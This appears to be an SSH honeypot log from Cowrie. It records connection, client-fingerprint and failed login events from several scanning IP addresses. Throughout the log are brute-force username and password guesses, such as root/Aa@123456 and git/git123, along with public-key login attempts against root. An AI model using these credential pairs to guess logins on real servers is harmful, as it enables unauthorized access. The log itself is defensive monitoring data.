{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T23:56:14.350035Z","src_ip":"43.134.24.11","session":"c4b6b9189b60","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"deploy","password":"password","message":"login attempt [deploy/password] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T23:56:15.091856Z","src_ip":"43.134.24.11","session":"c4b6b9189b60","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T23:56:15.114642Z","src_ip":"61.76.112.4","session":"88ee5e1ba331","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T23:56:16.341277Z","src_ip":"43.134.24.11","session":"c4b6b9189b60","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.134.24.11","src_port":23318,"dst_ip":"10.17.0.5","dst_port":22,"session":"dd522bf1fada","protocol":"ssh","message":"New connection: 43.134.24.11:23318 (10.17.0.5:22) [session: dd522bf1fada]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T23:56:19.900963Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T23:56:19.905532Z","src_ip":"43.134.24.11","session":"dd522bf1fada","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T23:56:20.142967Z","src_ip":"43.134.24.11","session":"dd522bf1fada","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"flask","password":"flask","message":"login attempt [flask/flask] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T23:56:20.855281Z","src_ip":"43.134.24.11","session":"dd522bf1fada","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"182.93.7.194","src_port":62122,"dst_ip":"159.203.135.109","dst_port":22,"session":"77e3a8203a1c","protocol":"ssh","message":"New connection: 182.93.7.194:62122 (159.203.135.109:22) [session: 77e3a8203a1c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T23:56:20.981652Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T23:56:20.986523Z","src_ip":"182.93.7.194","session":"77e3a8203a1c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T23:56:21.205273Z","src_ip":"182.93.7.194","session":"77e3a8203a1c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T23:56:22.096239Z","src_ip":"43.134.24.11","session":"dd522bf1fada","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"!QAZ@WSX3edc","message":"login attempt [root/!QAZ@WSX3edc] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T23:56:22.115979Z","src_ip":"182.93.7.194","session":"77e3a8203a1c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T23:56:23.337758Z","src_ip":"182.93.7.194","session":"77e3a8203a1c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"117.2.49.125","src_port":51530,"dst_ip":"159.203.135.109","dst_port":22,"session":"2076b730760c","protocol":"ssh","message":"New connection: 117.2.49.125:51530 (159.203.135.109:22) [session: 2076b730760c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T23:56:24.457730Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T23:56:24.461909Z","src_ip":"117.2.49.125","session":"2076b730760c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T23:56:24.720535Z","src_ip":"117.2.49.125","session":"2076b730760c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"orange99","message":"login attempt [root/orange99] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T23:56:25.783561Z","src_ip":"117.2.49.125","session":"2076b730760c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.134.24.11","src_port":6411,"dst_ip":"10.17.0.5","dst_port":22,"session":"b05a56e60605","protocol":"ssh","message":"New connection: 43.134.24.11:6411 (10.17.0.5:22) [session: b05a56e60605]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T23:56:25.788069Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T23:56:25.792097Z","src_ip":"43.134.24.11","session":"b05a56e60605","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T23:56:26.038023Z","src_ip":"43.134.24.11","session":"b05a56e60605","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"git","password":"git123","message":"login attempt [git/git123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T23:56:26.789473Z","src_ip":"43.134.24.11","session":"b05a56e60605","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.6","message":"Connection lost after 2.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T23:56:27.048071Z","src_ip":"117.2.49.125","session":"2076b730760c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T23:56:28.037863Z","src_ip":"43.134.24.11","session":"b05a56e60605","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.134.24.11","src_port":12092,"dst_ip":"10.17.0.5","dst_port":22,"session":"922a827e7ec5","protocol":"ssh","message":"New connection: 43.134.24.11:12092 (10.17.0.5:22) [session: 922a827e7ec5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T23:56:31.522048Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T23:56:31.526669Z","src_ip":"43.134.24.11","session":"922a827e7ec5","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T23:56:31.773322Z","src_ip":"43.134.24.11","session":"922a827e7ec5","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Aa@123456","message":"login attempt [root/Aa@123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T23:56:32.516965Z","src_ip":"43.134.24.11","session":"922a827e7ec5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"89.38.96.216","src_port":46568,"dst_ip":"10.17.0.5","dst_port":22,"session":"1727b008eef3","protocol":"ssh","message":"New connection: 89.38.96.216:46568 (10.17.0.5:22) [session: 1727b008eef3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T23:56:32.561390Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T23:56:32.566201Z","src_ip":"89.38.96.216","session":"1727b008eef3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T23:56:32.657652Z","src_ip":"89.38.96.216","session":"1727b008eef3","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"4c:d5:53:f2:98:a7:1f:a7:d6:81:99:ff:01:93:5f:57","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC3/rzidL15pSn+SUTF38lO+Aa+ghwAKnB8XARSfto02Pp5Vt2o6BvZg3M0crV74v9yirByj7UnVDTdj05J7KWGYiqaiWR0pMzr6Mh3fd1LUHcpMe0YiM+nHBY3B3Zit03nJl7CRlz32G+vwl41xIkjh+GnpFarTyU5Fg7VCrtpmdSq6AOF8oiT/GhUScvNdNmOUlS9iT143J6uhHM4CjElq7OEatUTffxYp1jh6X/au3uLf+X77d5heBHE7U9jSHfNHCKrT3ugWY2aUA90zHURFJI+guGVUoKThEDplSt06pK0MsDzHYjwloRohtIo/WcKgIA8EB6+mLIEulsAgg8h","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 4c:d5:53:f2:98:a7:1f:a7:d6:81:99:ff:01:93:5f:57","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T23:56:33.079854Z","src_ip":"89.38.96.216","session":"1727b008eef3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"4c:d5:53:f2:98:a7:1f:a7:d6:81:99:ff:01:93:5f:57","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC3/rzidL15pSn+SUTF38lO+Aa+ghwAKnB8XARSfto02Pp5Vt2o6BvZg3M0crV74v9yirByj7UnVDTdj05J7KWGYiqaiWR0pMzr6Mh3fd1LUHcpMe0YiM+nHBY3B3Zit03nJl7CRlz32G+vwl41xIkjh+GnpFarTyU5Fg7VCrtpmdSq6AOF8oiT/GhUScvNdNmOUlS9iT143J6uhHM4CjElq7OEatUTffxYp1jh6X/au3uLf+X77d5heBHE7U9jSHfNHCKrT3ugWY2aUA90zHURFJI+guGVUoKThEDplSt06pK0MsDzHYjwloRohtIo/WcKgIA8EB6+mLIEulsAgg8h","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T23:56:33.083575Z","src_ip":"89.38.96.216","session":"1727b008eef3","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"81:74:c8:31:fd:3c:57:67:6a:02:e3:66:09:1b:b6:77","key":"ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIIy5pOpllnB5fkJS/TzjsFRbxEybOY5K/iLYgeKNC6yi","type":"ssh-ed25519","message":"public key attempt for user root of type ssh-ed25519 with fingerprint 81:74:c8:31:fd:3c:57:67:6a:02:e3:66:09:1b:b6:77","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T23:56:33.172323Z","src_ip":"89.38.96.216","session":"1727b008eef3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"81:74:c8:31:fd:3c:57:67:6a:02:e3:66:09:1b:b6:77","key":"ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIIy5pOpllnB5fkJS/TzjsFRbxEybOY5K/iLYgeKNC6yi","type":"ssh-ed25519","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T23:56:33.175954Z","src_ip":"89.38.96.216","session":"1727b008eef3","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"e0:81:c2:05:b3:aa:99:e8:ca:4e:f7:8a:82:8e:9a:c0","key":"ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAINGzu23KEqKxeXIMVED67OIhea5ajllpb9uy8OVunEh4","type":"ssh-ed25519","message":"public key attempt for user root of type ssh-ed25519 with fingerprint e0:81:c2:05:b3:aa:99:e8:ca:4e:f7:8a:82:8e:9a:c0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T23:56:33.264705Z","src_ip":"89.38.96.216","session":"1727b008eef3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"e0:81:c2:05:b3:aa:99:e8:ca:4e:f7:8a:82:8e:9a:c0","key":"ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAINGzu23KEqKxeXIMVED67OIhea5ajllpb9uy8OVunEh4","type":"ssh-ed25519","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T23:56:33.268070Z","src_ip":"89.38.96.216","session":"1727b008eef3","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"20:ed:b8:04:ba:b0:ff:d6:65:f8:40:52:3a:98:a4:96","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCvlvPFWSwHkitDAs91PNc5xFaJrPMTm/HoGhCxe5IO4cc6UrnaisdcPSQ2iu0/G4HTsmhtxGz+yT6B+GvEewNIS7MMi39yRNLUT7OKQMeSJC+HrdJvMAHBYCm61X1wqZhYyAf3d/arbP/W+nE/ot3TC1TsykROpiPG/nkQgeSgFBFnZaL3LVvCKwQgOm7nX9f6vHTKC1EWSNsoBOOpslbWk6Cu0fcuuecWsJj8pV3g1+Kgi72yXeMV7oOoLfNgxKKxntLhRl3ZkYA9+afNWyBVyClO5+BHsT+kz5zUHoBchDmH2gRHxOXpSKa/O2tWopHWph5O9vm3xriz7sK1OZKZ","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 20:ed:b8:04:ba:b0:ff:d6:65:f8:40:52:3a:98:a4:96","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T23:56:33.357520Z","src_ip":"89.38.96.216","session":"1727b008eef3","protocol":"ssh"}
